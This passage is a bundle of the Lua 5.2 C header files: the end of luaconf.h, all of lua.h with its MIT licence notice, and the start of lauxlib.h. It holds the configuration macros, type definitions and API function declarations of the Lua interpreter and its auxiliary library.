@@ LUA_CPATH_DEFAULT is the default path that Lua uses to look for
@* C libraries.
** CHANGE them if your machine has a non-conventional directory
** hierarchy or if you want to install your libraries in
** non-conventional directories.
*/
#if defined(_WIN32) /* { */
/*
** In Windows, any exclamation mark ('!') in the path is replaced by the
** path of the directory of the executable file of the current process.
*/
#define LUA_LDIR "!\\lua\\"
#define LUA_CDIR "!\\"
#define LUA_PATH_DEFAULT \
LUA_LDIR"?.lua;" LUA_LDIR"?\\init.lua;" \
LUA_CDIR"?.lua;" LUA_CDIR"?\\init.lua;" ".\\?.lua"
#define LUA_CPATH_DEFAULT \
LUA_CDIR"?.dll;" LUA_CDIR"loadall.dll;" ".\\?.dll"
#else /* }{ */
#define LUA_VDIR LUA_VERSION_MAJOR "." LUA_VERSION_MINOR "/"
#define LUA_ROOT "/usr/local/"
#define LUA_LDIR LUA_ROOT "share/lua/" LUA_VDIR
#define LUA_CDIR LUA_ROOT "lib/lua/" LUA_VDIR
#define LUA_PATH_DEFAULT \
LUA_LDIR"?.lua;" LUA_LDIR"?/init.lua;" \
LUA_CDIR"?.lua;" LUA_CDIR"?/init.lua;" "./?.lua"
#define LUA_CPATH_DEFAULT \
LUA_CDIR"?.so;" LUA_CDIR"loadall.so;" "./?.so"
#endif /* } */
/*
@@ LUA_DIRSEP is the directory separator (for submodules).
** CHANGE it if your machine does not use "/" as the directory separator
** and is not Windows. (On Windows Lua automatically uses "\".)
*/
#if defined(_WIN32)
#define LUA_DIRSEP "\\"
#else
#define LUA_DIRSEP "/"
#endif
/*
@@ LUA_ENV is the name of the variable that holds the current
@@ environment, used to access global names.
** CHANGE it if you do not like this name.
*/
#define LUA_ENV "_ENV"
/*
@@ LUA_API is a mark for all core API functions.
@@ LUALIB_API is a mark for all auxiliary library functions.
@@ LUAMOD_API is a mark for all standard library opening functions.
** CHANGE them if you need to define those functions in some special way.
** For instance, if you want to create one Windows DLL with the core and
** the libraries, you may want to use the following definition (define
** LUA_BUILD_AS_DLL to get it).
*/
#if defined(LUA_BUILD_AS_DLL) /* { */
#if defined(LUA_CORE) || defined(LUA_LIB) /* { */
#define LUA_API __declspec(dllexport)
#else /* }{ */
#define LUA_API __declspec(dllimport)
#endif /* } */
#else /* }{ */
#define LUA_API extern
#endif /* } */
/* more often than not the libs go together with the core */
#define LUALIB_API LUA_API
#define LUAMOD_API LUALIB_API
/*
@@ LUAI_FUNC is a mark for all extern functions that are not to be
@* exported to outside modules.
@@ LUAI_DDEF and LUAI_DDEC are marks for all extern (const) variables
@* that are not to be exported to outside modules (LUAI_DDEF for
@* definitions and LUAI_DDEC for declarations).
** CHANGE them if you need to mark them in some special way. Elf/gcc
** (versions 3.2 and later) mark them as "hidden" to optimize access
** when Lua is compiled as a shared library. Not all elf targets support
** this attribute. Unfortunately, gcc does not offer a way to check
** whether the target offers that support, and those without support
** give a warning about it. To avoid these warnings, change to the
** default definition.
*/
#if defined(__GNUC__) && ((__GNUC__*100 + __GNUC_MINOR__) >= 302) && \
defined(__ELF__) /* { */
#define LUAI_FUNC __attribute__((visibility("hidden"))) extern
#define LUAI_DDEC LUAI_FUNC
#define LUAI_DDEF /* empty */
#else /* }{ */
#define LUAI_FUNC extern
#define LUAI_DDEC extern
#define LUAI_DDEF /* empty */
#endif /* } */
/*
@@ LUA_QL describes how error messages quote program elements.
** CHANGE it if you want a different appearance.
*/
#define LUA_QL(x) "'" x "'"
#define LUA_QS LUA_QL("%s")
/*
@@ LUA_IDSIZE gives the maximum size for the description of the source
@* of a function in debug information.
** CHANGE it if you want a different size.
*/
#define LUA_IDSIZE 60
/*
@@ luai_writestring/luai_writeline define how 'print' prints its results.
** They are only used in libraries and the stand-alone program. (The #if
** avoids including 'stdio.h' everywhere.)
*/
#if defined(LUA_LIB) || defined(lua_c)
#include <stdio.h>
#define luai_writestring(s,l) fwrite((s), sizeof(char), (l), stdout)
#define luai_writeline() (luai_writestring("\n", 1), fflush(stdout))
#endif
/*
@@ luai_writestringerror defines how to print error messages.
** (A format string with one argument is enough for Lua...)
*/
#define luai_writestringerror(s,p) \
(fprintf(stderr, (s), (p)), fflush(stderr))
/*
@@ LUAI_MAXSHORTLEN is the maximum length for short strings, that is,
** strings that are internalized. (Cannot be smaller than reserved words
** or tags for metamethods, as these strings must be internalized;
** #("function") = 8, #("__newindex") = 10.)
*/
#define LUAI_MAXSHORTLEN 40
/*
** {==================================================================
** Compatibility with previous versions
** ===================================================================
*/
/*
@@ LUA_COMPAT_ALL controls all compatibility options.
** You can define it to get all options, or change specific options
** to fit your specific needs.
*/
#if defined(LUA_COMPAT_ALL) /* { */
/*
@@ LUA_COMPAT_UNPACK controls the presence of global 'unpack'.
** You can replace it with 'table.unpack'.
*/
#define LUA_COMPAT_UNPACK
/*
@@ LUA_COMPAT_LOADERS controls the presence of table 'package.loaders'.
** You can replace it with 'package.searchers'.
*/
#define LUA_COMPAT_LOADERS
/*
@@ macro 'lua_cpcall' emulates deprecated function lua_cpcall.
** You can call your C function directly (with light C functions).
*/
#define lua_cpcall(L,f,u) \
(lua_pushcfunction(L, (f)), \
lua_pushlightuserdata(L,(u)), \
lua_pcall(L,1,0,0))
/*
@@ LUA_COMPAT_LOG10 defines the function 'log10' in the math library.
** You can rewrite 'log10(x)' as 'log(x, 10)'.
*/
#define LUA_COMPAT_LOG10
/*
@@ LUA_COMPAT_LOADSTRING defines the function 'loadstring' in the base
** library. You can rewrite 'loadstring(s)' as 'load(s)'.
*/
#define LUA_COMPAT_LOADSTRING
/*
@@ LUA_COMPAT_MAXN defines the function 'maxn' in the table library.
*/
#define LUA_COMPAT_MAXN
/*
@@ The following macros supply trivial compatibility for some
** changes in the API. The macros themselves document how to
** change your code to avoid using them.
*/
#define lua_strlen(L,i) lua_rawlen(L, (i))
#define lua_objlen(L,i) lua_rawlen(L, (i))
#define lua_equal(L,idx1,idx2) lua_compare(L,(idx1),(idx2),LUA_OPEQ)
#define lua_lessthan(L,idx1,idx2) lua_compare(L,(idx1),(idx2),LUA_OPLT)
/*
@@ LUA_COMPAT_MODULE controls compatibility with previous
** module functions 'module' (Lua) and 'luaL_register' (C).
*/
#define LUA_COMPAT_MODULE
#endif /* } */
/* }================================================================== */
/*
@@ LUAI_BITSINT defines the number of bits in an int.
** CHANGE here if Lua cannot automatically detect the number of bits of
** your machine. Probably you do not need to change this.
*/
/* avoid overflows in comparison */
#if INT_MAX-20 < 32760 /* { */
#define LUAI_BITSINT 16
#elif INT_MAX > 2147483640L /* }{ */
/* int has at least 32 bits */
#define LUAI_BITSINT 32
#else /* }{ */
#error "you must define LUA_BITSINT with number of bits in an integer"
#endif /* } */
/*
@@ LUA_INT32 is an signed integer with exactly 32 bits.
@@ LUAI_UMEM is an unsigned integer big enough to count the total
@* memory used by Lua.
@@ LUAI_MEM is a signed integer big enough to count the total memory
@* used by Lua.
** CHANGE here if for some weird reason the default definitions are not
** good enough for your machine. Probably you do not need to change
** this.
*/
#if LUAI_BITSINT >= 32 /* { */
#define LUA_INT32 int
#define LUAI_UMEM size_t
#define LUAI_MEM ptrdiff_t
#else /* }{ */
/* 16-bit ints */
#define LUA_INT32 long
#define LUAI_UMEM unsigned long
#define LUAI_MEM long
#endif /* } */
/*
@@ LUAI_MAXSTACK limits the size of the Lua stack.
** CHANGE it if you need a different limit. This limit is arbitrary;
** its only purpose is to stop Lua to consume unlimited stack
** space (and to reserve some numbers for pseudo-indices).
*/
#if LUAI_BITSINT >= 32
#define LUAI_MAXSTACK 1000000
#else
#define LUAI_MAXSTACK 15000
#endif
/* reserve some space for error handling */
#define LUAI_FIRSTPSEUDOIDX (-LUAI_MAXSTACK - 1000)
/*
@@ LUAL_BUFFERSIZE is the buffer size used by the lauxlib buffer system.
** CHANGE it if it uses too much C-stack space.
*/
#define LUAL_BUFFERSIZE BUFSIZ
/*
** {==================================================================
@@ LUA_NUMBER is the type of numbers in Lua.
** CHANGE the following definitions only if you want to build Lua
** with a number type different from double. You may also need to
** change lua_number2int & lua_number2integer.
** ===================================================================
*/
#define LUA_NUMBER_DOUBLE
#define LUA_NUMBER double
/*
@@ LUAI_UACNUMBER is the result of an 'usual argument conversion'
@* over a number.
*/
#define LUAI_UACNUMBER double
/*
@@ LUA_NUMBER_SCAN is the format for reading numbers.
@@ LUA_NUMBER_FMT is the format for writing numbers.
@@ lua_number2str converts a number to a string.
@@ LUAI_MAXNUMBER2STR is maximum size of previous conversion.
*/
#define LUA_NUMBER_SCAN "%lf"
#define LUA_NUMBER_FMT "%.14g"
#define lua_number2str(s,n) sprintf((s), LUA_NUMBER_FMT, (n))
#define LUAI_MAXNUMBER2STR 32 /* 16 digits, sign, point, and \0 */
/*
@@ lua_str2number converts a decimal numeric string to a number.
@@ lua_strx2number converts an hexadecimal numeric string to a number.
** In C99, 'strtod' do both conversions. C89, however, has no function
** to convert floating hexadecimal strings to numbers. For these
** systems, you can leave 'lua_strx2number' undefined and Lua will
** provide its own implementation.
*/
#define lua_str2number(s,p) strtod((s), (p))
#if defined(LUA_USE_STRTODHEX)
#define lua_strx2number(s,p) strtod((s), (p))
#endif
/*
@@ The luai_num* macros define the primitive operations over numbers.
*/
/* the following operations need the math library */
#if defined(lobject_c) || defined(lvm_c)
#include <math.h>
#define luai_nummod(L,a,b) ((a) - floor((a)/(b))*(b))
#define luai_numpow(L,a,b) (pow(a,b))
#endif
/* these are quite standard operations */
#if defined(LUA_CORE)
#define luai_numadd(L,a,b) ((a)+(b))
#define luai_numsub(L,a,b) ((a)-(b))
#define luai_nummul(L,a,b) ((a)*(b))
#define luai_numdiv(L,a,b) ((a)/(b))
#define luai_numunm(L,a) (-(a))
#define luai_numeq(a,b) ((a)==(b))
#define luai_numlt(L,a,b) ((a)<(b))
#define luai_numle(L,a,b) ((a)<=(b))
#define luai_numisnan(L,a) (!luai_numeq((a), (a)))
#endif
/*
@@ LUA_INTEGER is the integral type used by lua_pushinteger/lua_tointeger.
** CHANGE that if ptrdiff_t is not adequate on your machine. (On most
** machines, ptrdiff_t gives a good choice between int or long.)
*/
#define LUA_INTEGER ptrdiff_t
/*
@@ LUA_UNSIGNED is the integral type used by lua_pushunsigned/lua_tounsigned.
** It must have at least 32 bits.
*/
#define LUA_UNSIGNED unsigned LUA_INT32
/*
** Some tricks with doubles
*/
#if defined(LUA_CORE) && \
defined(LUA_NUMBER_DOUBLE) && !defined(LUA_ANSI) /* { */
/*
** The next definitions activate some tricks to speed up the
** conversion from doubles to integer types, mainly to LUA_UNSIGNED.
**
@@ MS_ASMTRICK uses Microsoft assembler to avoid clashes with a
** DirectX idiosyncrasy.
**
@@ LUA_IEEE754TRICK uses a trick that should work on any machine
** using IEEE754 with a 32-bit integer type.
**
@@ LUA_IEEELL extends the trick to LUA_INTEGER; should only be
** defined when LUA_INTEGER is a 32-bit integer.
**
@@ LUA_IEEEENDIAN is the endianness of doubles in your machine
** (0 for little endian, 1 for big endian); if not defined, Lua will
** check it dynamically for LUA_IEEE754TRICK (but not for LUA_NANTRICK).
**
@@ LUA_NANTRICK controls the use of a trick to pack all types into
** a single double value, using NaN values to represent non-number
** values. The trick only works on 32-bit machines (ints and pointers
** are 32-bit values) with numbers represented as IEEE 754-2008 doubles
** with conventional endianess (12345678 or 87654321), in CPUs that do
** not produce signaling NaN values (all NaNs are quiet).
*/
/* Microsoft compiler on a Pentium (32 bit) ? */
#if defined(LUA_WIN) && defined(_MSC_VER) && defined(_M_IX86) /* { */
#define MS_ASMTRICK
#define LUA_IEEEENDIAN 0
#define LUA_NANTRICK
/* pentium 32 bits? */
#elif defined(__i386__) || defined(__i386) || defined(__X86__) /* }{ */
#define LUA_IEEE754TRICK
#define LUA_IEEELL
#define LUA_IEEEENDIAN 0
#define LUA_NANTRICK
/* pentium 64 bits? */
#elif defined(__x86_64) /* }{ */
#define LUA_IEEE754TRICK
#define LUA_IEEEENDIAN 0
#elif defined(__POWERPC__) || defined(__ppc__) /* }{ */
#define LUA_IEEE754TRICK
#define LUA_IEEEENDIAN 1
#else /* }{ */
/* assume IEEE754 and a 32-bit integer type */
#define LUA_IEEE754TRICK
#endif /* } */
#endif /* } */
/* }================================================================== */
/* =================================================================== */
/*
** Local configuration. You can use this space to add your redefinitions
** without modifying the main part of the file.
*/
#endif
/*
** $Id: lua.h,v 1.283 2012/04/20 13:18:26 roberto Exp $
** Lua - A Scripting Language
** Lua.org, PUC-Rio, Brazil (http://www.lua.org)
** See Copyright Notice at the end of this file
*/
#ifndef lua_h
#define lua_h
#include <stdarg.h>
#include <stddef.h>
#define LUA_VERSION_MAJOR "5"
#define LUA_VERSION_MINOR "2"
#define LUA_VERSION_NUM 502
#define LUA_VERSION_RELEASE "1"
#define LUA_VERSION "Lua " LUA_VERSION_MAJOR "." LUA_VERSION_MINOR
#define LUA_RELEASE LUA_VERSION "." LUA_VERSION_RELEASE
#define LUA_COPYRIGHT LUA_RELEASE " Copyright (C) 1994-2012 Lua.org, PUC-Rio"
#define LUA_AUTHORS "R. Ierusalimschy, L. H. de Figueiredo, W. Celes"
/* mark for precompiled code ('<esc>Lua') */
#define LUA_SIGNATURE "\033Lua"
/* option for multiple returns in 'lua_pcall' and 'lua_call' */
#define LUA_MULTRET (-1)
/*
** pseudo-indices
*/
#define LUA_REGISTRYINDEX LUAI_FIRSTPSEUDOIDX
#define lua_upvalueindex(i) (LUA_REGISTRYINDEX - (i))
/* thread status */
#define LUA_OK 0
#define LUA_YIELD 1
#define LUA_ERRRUN 2
#define LUA_ERRSYNTAX 3
#define LUA_ERRMEM 4
#define LUA_ERRGCMM 5
#define LUA_ERRERR 6
typedef struct lua_State lua_State;
typedef int (*lua_CFunction) (lua_State *L);
/*
** functions that read/write blocks when loading/dumping Lua chunks
*/
typedef const char * (*lua_Reader) (lua_State *L, void *ud, size_t *sz);
typedef int (*lua_Writer) (lua_State *L, const void* p, size_t sz, void* ud);
/*
** prototype for memory-allocation functions
*/
typedef void * (*lua_Alloc) (void *ud, void *ptr, size_t osize, size_t nsize);
/*
** basic types
*/
#define LUA_TNONE (-1)
#define LUA_TNIL 0
#define LUA_TBOOLEAN 1
#define LUA_TLIGHTUSERDATA 2
#define LUA_TNUMBER 3
#define LUA_TSTRING 4
#define LUA_TTABLE 5
#define LUA_TFUNCTION 6
#define LUA_TUSERDATA 7
#define LUA_TTHREAD 8
#define LUA_NUMTAGS 9
/* minimum Lua stack available to a C function */
#define LUA_MINSTACK 20
/* predefined values in the registry */
#define LUA_RIDX_MAINTHREAD 1
#define LUA_RIDX_GLOBALS 2
#define LUA_RIDX_LAST LUA_RIDX_GLOBALS
/* type of numbers in Lua */
typedef LUA_NUMBER lua_Number;
/* type for integer functions */
typedef LUA_INTEGER lua_Integer;
/* unsigned integer type */
typedef LUA_UNSIGNED lua_Unsigned;
/*
** generic extra include file
*/
#if defined(LUA_USER_H)
#include LUA_USER_H
#endif
/*
** state manipulation
*/
LUA_API lua_State *(lua_newstate) (lua_Alloc f, void *ud);
LUA_API void (lua_close) (lua_State *L);
LUA_API lua_State *(lua_newthread) (lua_State *L);
LUA_API lua_CFunction (lua_atpanic) (lua_State *L, lua_CFunction panicf);
LUA_API const lua_Number *(lua_version) (lua_State *L);
/*
** basic stack manipulation
*/
LUA_API int (lua_absindex) (lua_State *L, int idx);
LUA_API int (lua_gettop) (lua_State *L);
LUA_API void (lua_settop) (lua_State *L, int idx);
LUA_API void (lua_pushvalue) (lua_State *L, int idx);
LUA_API void (lua_remove) (lua_State *L, int idx);
LUA_API void (lua_insert) (lua_State *L, int idx);
LUA_API void (lua_replace) (lua_State *L, int idx);
LUA_API void (lua_copy) (lua_State *L, int fromidx, int toidx);
LUA_API int (lua_checkstack) (lua_State *L, int sz);
LUA_API void (lua_xmove) (lua_State *from, lua_State *to, int n);
/*
** access functions (stack -> C)
*/
LUA_API int (lua_isnumber) (lua_State *L, int idx);
LUA_API int (lua_isstring) (lua_State *L, int idx);
LUA_API int (lua_iscfunction) (lua_State *L, int idx);
LUA_API int (lua_isuserdata) (lua_State *L, int idx);
LUA_API int (lua_type) (lua_State *L, int idx);
LUA_API const char *(lua_typename) (lua_State *L, int tp);
LUA_API lua_Number (lua_tonumberx) (lua_State *L, int idx, int *isnum);
LUA_API lua_Integer (lua_tointegerx) (lua_State *L, int idx, int *isnum);
LUA_API lua_Unsigned (lua_tounsignedx) (lua_State *L, int idx, int *isnum);
LUA_API int (lua_toboolean) (lua_State *L, int idx);
LUA_API const char *(lua_tolstring) (lua_State *L, int idx, size_t *len);
LUA_API size_t (lua_rawlen) (lua_State *L, int idx);
LUA_API lua_CFunction (lua_tocfunction) (lua_State *L, int idx);
LUA_API void *(lua_touserdata) (lua_State *L, int idx);
LUA_API lua_State *(lua_tothread) (lua_State *L, int idx);
LUA_API const void *(lua_topointer) (lua_State *L, int idx);
/*
** Comparison and arithmetic functions
*/
#define LUA_OPADD 0 /* ORDER TM */
#define LUA_OPSUB 1
#define LUA_OPMUL 2
#define LUA_OPDIV 3
#define LUA_OPMOD 4
#define LUA_OPPOW 5
#define LUA_OPUNM 6
LUA_API void (lua_arith) (lua_State *L, int op);
#define LUA_OPEQ 0
#define LUA_OPLT 1
#define LUA_OPLE 2
LUA_API int (lua_rawequal) (lua_State *L, int idx1, int idx2);
LUA_API int (lua_compare) (lua_State *L, int idx1, int idx2, int op);
/*
** push functions (C -> stack)
*/
LUA_API void (lua_pushnil) (lua_State *L);
LUA_API void (lua_pushnumber) (lua_State *L, lua_Number n);
LUA_API void (lua_pushinteger) (lua_State *L, lua_Integer n);
LUA_API void (lua_pushunsigned) (lua_State *L, lua_Unsigned n);
LUA_API const char *(lua_pushlstring) (lua_State *L, const char *s, size_t l);
LUA_API const char *(lua_pushstring) (lua_State *L, const char *s);
LUA_API const char *(lua_pushvfstring) (lua_State *L, const char *fmt,
va_list argp);
LUA_API const char *(lua_pushfstring) (lua_State *L, const char *fmt, ...);
LUA_API void (lua_pushcclosure) (lua_State *L, lua_CFunction fn, int n);
LUA_API void (lua_pushboolean) (lua_State *L, int b);
LUA_API void (lua_pushlightuserdata) (lua_State *L, void *p);
LUA_API int (lua_pushthread) (lua_State *L);
/*
** get functions (Lua -> stack)
*/
LUA_API void (lua_getglobal) (lua_State *L, const char *var);
LUA_API void (lua_gettable) (lua_State *L, int idx);
LUA_API void (lua_getfield) (lua_State *L, int idx, const char *k);
LUA_API void (lua_rawget) (lua_State *L, int idx);
LUA_API void (lua_rawgeti) (lua_State *L, int idx, int n);
LUA_API void (lua_rawgetp) (lua_State *L, int idx, const void *p);
LUA_API void (lua_createtable) (lua_State *L, int narr, int nrec);
LUA_API void *(lua_newuserdata) (lua_State *L, size_t sz);
LUA_API int (lua_getmetatable) (lua_State *L, int objindex);
LUA_API void (lua_getuservalue) (lua_State *L, int idx);
/*
** set functions (stack -> Lua)
*/
LUA_API void (lua_setglobal) (lua_State *L, const char *var);
LUA_API void (lua_settable) (lua_State *L, int idx);
LUA_API void (lua_setfield) (lua_State *L, int idx, const char *k);
LUA_API void (lua_rawset) (lua_State *L, int idx);
LUA_API void (lua_rawseti) (lua_State *L, int idx, int n);
LUA_API void (lua_rawsetp) (lua_State *L, int idx, const void *p);
LUA_API int (lua_setmetatable) (lua_State *L, int objindex);
LUA_API void (lua_setuservalue) (lua_State *L, int idx);
/*
** 'load' and 'call' functions (load and run Lua code)
*/
LUA_API void (lua_callk) (lua_State *L, int nargs, int nresults, int ctx,
lua_CFunction k);
#define lua_call(L,n,r) lua_callk(L, (n), (r), 0, NULL)
LUA_API int (lua_getctx) (lua_State *L, int *ctx);
LUA_API int (lua_pcallk) (lua_State *L, int nargs, int nresults, int errfunc,
int ctx, lua_CFunction k);
#define lua_pcall(L,n,r,f) lua_pcallk(L, (n), (r), (f), 0, NULL)
LUA_API int (lua_load) (lua_State *L, lua_Reader reader, void *dt,
const char *chunkname,
const char *mode);
LUA_API int (lua_dump) (lua_State *L, lua_Writer writer, void *data);
/*
** coroutine functions
*/
LUA_API int (lua_yieldk) (lua_State *L, int nresults, int ctx,
lua_CFunction k);
#define lua_yield(L,n) lua_yieldk(L, (n), 0, NULL)
LUA_API int (lua_resume) (lua_State *L, lua_State *from, int narg);
LUA_API int (lua_status) (lua_State *L);
/*
** garbage-collection function and options
*/
#define LUA_GCSTOP 0
#define LUA_GCRESTART 1
#define LUA_GCCOLLECT 2
#define LUA_GCCOUNT 3
#define LUA_GCCOUNTB 4
#define LUA_GCSTEP 5
#define LUA_GCSETPAUSE 6
#define LUA_GCSETSTEPMUL 7
#define LUA_GCSETMAJORINC 8
#define LUA_GCISRUNNING 9
#define LUA_GCGEN 10
#define LUA_GCINC 11
LUA_API int (lua_gc) (lua_State *L, int what, int data);
/*
** miscellaneous functions
*/
LUA_API int (lua_error) (lua_State *L);
LUA_API int (lua_next) (lua_State *L, int idx);
LUA_API void (lua_concat) (lua_State *L, int n);
LUA_API void (lua_len) (lua_State *L, int idx);
LUA_API lua_Alloc (lua_getallocf) (lua_State *L, void **ud);
LUA_API void (lua_setallocf) (lua_State *L, lua_Alloc f, void *ud);
/*
** ===============================================================
** some useful macros
** ===============================================================
*/
#define lua_tonumber(L,i) lua_tonumberx(L,i,NULL)
#define lua_tointeger(L,i) lua_tointegerx(L,i,NULL)
#define lua_tounsigned(L,i) lua_tounsignedx(L,i,NULL)
#define lua_pop(L,n) lua_settop(L, -(n)-1)
#define lua_newtable(L) lua_createtable(L, 0, 0)
#define lua_register(L,n,f) (lua_pushcfunction(L, (f)), lua_setglobal(L, (n)))
#define lua_pushcfunction(L,f) lua_pushcclosure(L, (f), 0)
#define lua_isfunction(L,n) (lua_type(L, (n)) == LUA_TFUNCTION)
#define lua_istable(L,n) (lua_type(L, (n)) == LUA_TTABLE)
#define lua_islightuserdata(L,n) (lua_type(L, (n)) == LUA_TLIGHTUSERDATA)
#define lua_isnil(L,n) (lua_type(L, (n)) == LUA_TNIL)
#define lua_isboolean(L,n) (lua_type(L, (n)) == LUA_TBOOLEAN)
#define lua_isthread(L,n) (lua_type(L, (n)) == LUA_TTHREAD)
#define lua_isnone(L,n) (lua_type(L, (n)) == LUA_TNONE)
#define lua_isnoneornil(L, n) (lua_type(L, (n)) <= 0)
#define lua_pushliteral(L, s) \
lua_pushlstring(L, "" s, (sizeof(s)/sizeof(char))-1)
#define lua_pushglobaltable(L) \
lua_rawgeti(L, LUA_REGISTRYINDEX, LUA_RIDX_GLOBALS)
#define lua_tostring(L,i) lua_tolstring(L, (i), NULL)
/*
** {======================================================================
** Debug API
** =======================================================================
*/
/*
** Event codes
*/
#define LUA_HOOKCALL 0
#define LUA_HOOKRET 1
#define LUA_HOOKLINE 2
#define LUA_HOOKCOUNT 3
#define LUA_HOOKTAILCALL 4
/*
** Event masks
*/
#define LUA_MASKCALL (1 << LUA_HOOKCALL)
#define LUA_MASKRET (1 << LUA_HOOKRET)
#define LUA_MASKLINE (1 << LUA_HOOKLINE)
#define LUA_MASKCOUNT (1 << LUA_HOOKCOUNT)
typedef struct lua_Debug lua_Debug; /* activation record */
/* Functions to be called by the debugger in specific events */
typedef void (*lua_Hook) (lua_State *L, lua_Debug *ar);
LUA_API int (lua_getstack) (lua_State *L, int level, lua_Debug *ar);
LUA_API int (lua_getinfo) (lua_State *L, const char *what, lua_Debug *ar);
LUA_API const char *(lua_getlocal) (lua_State *L, const lua_Debug *ar, int n);
LUA_API const char *(lua_setlocal) (lua_State *L, const lua_Debug *ar, int n);
LUA_API const char *(lua_getupvalue) (lua_State *L, int funcindex, int n);
LUA_API const char *(lua_setupvalue) (lua_State *L, int funcindex, int n);
LUA_API void *(lua_upvalueid) (lua_State *L, int fidx, int n);
LUA_API void (lua_upvaluejoin) (lua_State *L, int fidx1, int n1,
int fidx2, int n2);
LUA_API int (lua_sethook) (lua_State *L, lua_Hook func, int mask, int count);
LUA_API lua_Hook (lua_gethook) (lua_State *L);
LUA_API int (lua_gethookmask) (lua_State *L);
LUA_API int (lua_gethookcount) (lua_State *L);
struct lua_Debug {
int event;
const char *name; /* (n) */
const char *namewhat; /* (n) 'global', 'local', 'field', 'method' */
const char *what; /* (S) 'Lua', 'C', 'main', 'tail' */
const char *source; /* (S) */
int currentline; /* (l) */
int linedefined; /* (S) */
int lastlinedefined; /* (S) */
unsigned char nups; /* (u) number of upvalues */
unsigned char nparams;/* (u) number of parameters */
char isvararg; /* (u) */
char istailcall; /* (t) */
char short_src[LUA_IDSIZE]; /* (S) */
/* private part */
struct CallInfo *i_ci; /* active function */
};
/* }====================================================================== */
/******************************************************************************
* Copyright (C) 1994-2012 Lua.org, PUC-Rio.
*
* Permission is hereby granted, free of charge, to any person obtaining
* a copy of this software and associated documentation files (the
* "Software"), to deal in the Software without restriction, including
* without limitation the rights to use, copy, modify, merge, publish,
* distribute, sublicense, and/or sell copies of the Software, and to
* permit persons to whom the Software is furnished to do so, subject to
* the following conditions:
*
* The above copyright notice and this permission notice shall be
* included in all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
* IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
* CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
* TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
* SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
******************************************************************************/
#endif
/*
** $Id: lauxlib.h,v 1.120 2011/11/29 15:55:08 roberto Exp $
** Auxiliary functions for building Lua libraries
** See Copyright Notice in lua.h
*/
#ifndef lauxlib_h
#define lauxlib_h
#include <stddef.h>
#include <stdio.h>
/* extra error code for `luaL_load' */
#define LUA_ERRFILE (LUA_ERRERR+1)
typedef struct luaL_Reg {
const char *name;
lua_CFunction func;
} luaL_Reg;
LUALIB_API void (luaL_checkversion_) (lua_State *L, lua_Number ver);
#define luaL_checkversion(L) luaL_checkversion_(L, LUA_VERSION_NUM)
LUALIB_API int (luaL_getmetafield) (lua_State *L, int obj, const char *e);
LUALIB_API int (luaL_callmeta) (lua_State *L, int obj, const char *e);
LUALIB_API const char *(luaL_tolstring) (lua_State *L, int idx, size_t *len);
LUALIB_API int (luaL_argerror) (lua_State *L, int numarg, const char *extramsg);
LUALIB_API const char *(luaL_checklstring) (lua_State *L, int numArg,
size_t *l);
LUALIB_API const char *(luaL_optlstring) (lua_State *L, int numArg,
const char *def, size_t *l);
LUALIB_API lua_Number (luaL_checknumber) (lua_State *L, int numArg);
LUALIB_API lua_Number (luaL_optnumber) (lua_State *L, int nArg, lua_Number def);
LUALIB_API lua_Integer (luaL_checkinteger) (lua_State *L, int numArg);
LUALIB_API lua_Integer (luaL_optinteger) (lua_State *L, int nArg,
lua_Integer def);
LUALIB_API lua_Unsigned (luaL_checkunsigned) (lua_State *L, int numArg);
LUALIB_API lua_Unsigned (luaL_optunsigned) (lua_State *L, int numArg,
lua_Unsigned def);
LUALIB_API void (luaL_checkstack) (lua_State *L, int sz, const char *msg);
LUALIB_API void (luaL_checktype) (lua_State *L, int narg, int t);
LUALIB_API void (luaL_checkany) (lua_State *L, int narg);
LUALIB_API int (luaL_newmetatable) (lua_State *L, const char *tname);
LUALIB_API void (luaL_setmetatable) (lua_State *L, const char *tname);
LUALIB_API void *(luaL_testudata) (lua_State *L, int ud, const char *tname);
LUALIB_API void *(luaL_checkudata) (lua_State *L, int ud, const char *tname);
LUALIB_API void (luaL_where) (lua_State *L, int lvl);
LUALIB_API int (luaL_error) (lua_State *L, const char *fmt, ...);
LUALIB_API int (luaL_checkoption) (lua_State *L, int narg, const char *def,
const char *const lst[]);
LUALIB_API int (luaL_fileresult) (lua_State *L, int stat, const char *fname);
LUALIB_API int (luaL_execresult) (lua_State *L, int stat);
/* pre-defined references */
#define LUA_NOREF (-2)
#define LUA_REFNIL (-1)
LUALIB_API int (luaL_ref) (lua_State *L, int t);
LUALIB_API void (luaL_unref) (lua_State *L, int t, int ref);
LUALIB_API int (luaL_loadfilex) (lua_State *L, const char *filename,
const char *mode);
#define luaL_loadfile(L,f) luaL_loadfilex(L,f,NULL)
LUALIB_API int (luaL_loadbufferx) (lua_State *L, const char *buff, size_t sz,
const char *name, const char *mode);
LUALIB_API int (luaL_loadstring) (lua_State *L, const char *s);
LUALIB_API lua_State *(luaL_newstate) (void);
LUALIB_API int (luaL_len) (lua_State *L, int idx);
LUALIB_API const char *(luaL_gsub) (lua_State *L, const char *s, const char *p,
const char *r);
LUALIB_API void (luaL_setfuncs) (lua_State *L, const luaL_Reg *l, int nup);
LUALIB_API int (luaL_getsubtable) (lua_State *L, int idx, const char *fname);
LUALIB_API void (luaL_traceback) (lua_State *L, lua_State *L1,
const char *msg, int level);
LUALIB_API void (luaL_requiref) (lua_State *L, const char *modname,
lua_CFunction openf, int glb);
/*
** ===============================================================
** some useful macros
** ===============================================================
*/
#define luaL_newlibtable(L,l) \
lua_createtable(L, 0, sizeof(l)/sizeof((l)[0]) - 1)
#define luaL_newlib(L,l) (luaL_newlibtable(L,l), luaL_setfuncs(L,l,0))
#define luaL_argcheck(L, cond,numarg,extramsg) \
((void)((cond) || luaL_argerror(L, (numarg), (extramsg))))
#define luaL_checkstring(L,n) (luaL_checklstring(L, (n), NULL))
#define luaL_optstring(L,n,d) (luaL_optlstring(L, (n), (d), NULL))
#define luaL_checkint(L,n) ((int)luaL_checkinteger(L, (n)))
#define luaL_optint(L,n,d) ((int)luaL_optinteger(L, (n), (d)))
